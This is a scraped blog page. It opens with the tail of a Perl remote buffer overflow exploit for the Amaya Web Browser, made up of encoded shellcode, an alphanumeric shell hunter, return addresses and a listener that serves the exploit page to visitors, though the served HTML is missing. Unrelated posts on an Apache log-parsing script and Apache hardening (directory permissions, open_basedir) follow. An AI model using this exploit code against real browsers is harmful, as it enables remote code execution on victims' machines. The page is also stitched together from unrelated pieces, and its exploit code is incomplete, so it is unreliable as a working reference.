"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
 
# my own shell hunter.. :) it is 98% alphanumerical.
# 2nd variant of the shellhunter, to make the exploit more reliable..
my $shellhunter = ("\x58\x58\x40\x40").("\x47" x 4).("\x42" x 6).     #inc edi
("\x42" x 24).("\x42" x 24).("\x39\x07\x75\x8b\x71\x71").
("\x47\x47\x47\x47\x57\xFF\x65\x78\x77\x76");
my $overflow = "\x42" x 158;
my $overflow2 = "\x42" x 4;
my $overflow3 = "\x43" x 430;
my $overflow4len = 977 - ((length($shellhunter) - 7));   #very important calculation
my $overflow4 = "\x44" x $overflow4len;
my $sled = "\x42" x 12;
my $sled2 = "\x41" x 24;
my $eip2 = "\x37\x55\x03\x10";  #10035537 call ecx, this won't be used
my $eip1 = "\x30\x4f\x01\x10"; #10014F30 call esi, this will be used.
my $heapaddr = "\x50\x0e\x08\x10";    #valid char for buffer, heap address
my $lookout = "\x37\x65\x41\x45" x 40;      # 45446537    look out values &lt;-
my $lookout2 = "\x37\x65\x41\x45\x41" x 4;      # 45446537                &lt;-
my $lookout3 = "\x37\x65\x41\x45\x41\x41" x 4;      # 45446537            &lt;-
my $lookout4 = "\x37\x65\x41\x45\x41\x41\x41" x 4;      # 45446537        &lt;-
my $additionaddr = "\x35\x65\x41\x45";    #used for an addition in the shellhunter  (+2)
my $nopsled = "\x90\x90\x90\x90\x90\x90";
my $jmp = "\x75\x0c";
print "[x] Amaya Web Browser &lt;= 11.0.1 Remote Buffer Overflow Exploit\n";
print "[x] Found/Exploit by SkD ([email protected] hotmail.com)([email protected] abysssec.com)\n";
 
while(1)
{
my $sock=new IO::Socket::INET(Listen=&gt;1,LocalAddr =&gt; $listenip,LocalPort=&gt;$port_listen,Proto=&gt;'tcp');
die unless $sock;
print "[x] Waiting for clients on port ".$port_listen."..\n";
my $s;
while($s=$sock-&gt;accept()){
print "[x] Got a client!\n";
my $request = &lt;$s&gt;;
print $s "HTTP/1.0 200 OK\nContent-Type: text/html\n\n";
print "[x] Serving Exploit HTML page :)\n";
print $s "\n".
"\n".
"\n".
"
\n".
"
 
\n".
"\n".
"\r\n";
sleep(0.5);
close $s;
print "[x] Done!\n";
}
}

Apache log parser script

Hello viewers
For long time I was looking for some codes for monitoring APACHE’s log
to detection some attacks and /or some     errors that can help server administrators to have a security solution for web servers.

So is so simple to find but its so dirty :d.
In  first stage script checks number of signatures of some of public attacks , you can change or/and edit them. After calculating errors script shows to you alarm or attention or …. messages and  here you decide  to what to want…
And at last total summary of logs with details was saved on path….
I want to write a better code as soon as possible ;)

here is quick log check’s snapshot

and check details

Last code was so slow !! and heavy .Here is fastest than beta-1 code .
I was check a log file ~ 150MB and getting results in 5 min.
It has been fastest as soon as possible ;) thanks.

Download Source code (beta 2 – cleaned code ! optimized – ):

download : log parser

Is your Apache in safe mode ?

This Post is a bit review to Apache security and not contain all details but i want write all of them.

When you decide to build a web server based on Open source Os for all web publishing -public or private- all the futures not needed . But sometimes some of them mus tow change carefully. We have to case of Apache using here :

Case 1 : In some cases you need to build a simulated ftp server based on HTTP protocol.

Case 2 : You need to build a MAIL server with HTTP interface. Such as HORD or SQURRIER MAIL.

SO what changes needed ?what kind of futures are usable here for Your jobs ?.

In default installation of Apache -as so useful web server – in a big range of open source operating systems you may see auto indexing and directory browsing , its good for HTTP server as FTP server but is it usable as HTTP-mail server ? Of curse response is NO .Why ? Its so simple .In case 1 you just need to give the permission to your users for reading files and browsing directories JUST!.And denied them to reading or browsing other directories . In case 2 the server design may have a complete configuration with case 1 .Here You must use an interpreter for your scripts and language .So is your directory browsing options may not denied is it possible ?.In example an attacker can change his directory to upper or can see most important data such as web server configurations and – or – some log files or a high level script kiddie could copy you password to anywhere .Now your web server is really crackable and an attacker can read your configurations and may change THEM !!. What did you do ? its so good question .

1- You can change permission of all unneeded directories to deny for other users and groups like :

“[[email protected]] # chmod -R 700 some directory that you want to hidden from other ”

2- Change the permission of your files to only readable for www and not executable – if you want to use HTML pages – and for script based pages

do “[[email protected]]# 644 *.php or other scripts
3- If your server pages is PHP you can change a bit the php.ini file

its in my machine :

[[email protected] /usr/home/t4z3v4r3d]# cat /usr/local/etc/php.ini | grep basedir
; open_basedir, if set, limits all file operations to the defined directory
open_basedir = /usr/local/www
[[email protected] /usr/home/t4z3v4r3d]#

open_basedir = /usr/local/www to the your www directory this is he way of blocking of some php-shell scripts lik c99.php.

what the php shells cand do ?

what the php shells cand do ?

Hi this is 2′nd part of Apache security .
We want to look how to safe all of our scripts when we have some sites.
In share servers – commercial servers – we can secure our serer by some applications such as Cpanel Plesk or etc.
But how can we secure it by hand ?.Of curse its not so simple but its not hard to do.
Ok lets to see what we can do ?.Let look to this how to from an attacker.
Any of attacker want to get some information to doing a successful attack to any server.
But what is information exactly ?yes any information its correct !,all information may help the attacker to entering in to your server .
What kind of web server , web server version , Os version and type,mod ‘s of your web server is running  , server admin’s mail , dns-server , and …. is a good information to starting an attack.

some of the information can’t be hidden but some of may hidden !!!.
Ok we can change our server’s operating system name , web server name and type and version by some tools and mods – soon – .

All attacks methods are depend  to security of your server .

Ok we have some changes in our apache configuration.
But is it enough?. At the same way :what is the set of security settings for
Apache?.Security is a complex of invisible or bit notes.You can’t deny web viewers to looking your web contents in a little range of time .-in fact you can’t tell to users : Do brows my web contents only one time – but you can denied them to browsing all site in a little range of time  – or attacking such as directory traversal attacks or denial of service attack – .This attack can give a large amount of server resources .you can detect this attack and ban the attacker . Apache developed by some modules now, we can select our needed modules for protection.
Modules may be a helpful tools if you have enough information about how to work this module .Apache have 3 release version : 1.3.X and 2.0.X and 2.X all of this versions can using some modules.
For any platforms that you want to work on it may you need to some changes in configurations and giving resources to web server or changing in firewall rules and etc … . But you are module selector and you are lord of Apache world .Deciding which modules are needed is your job and tuning Apache is your art .
Its end of section one for now because I have no time to continue . i’ll be back very soon – iwant build a http server on my bsd box all of notes are really -In the next section we look for details .

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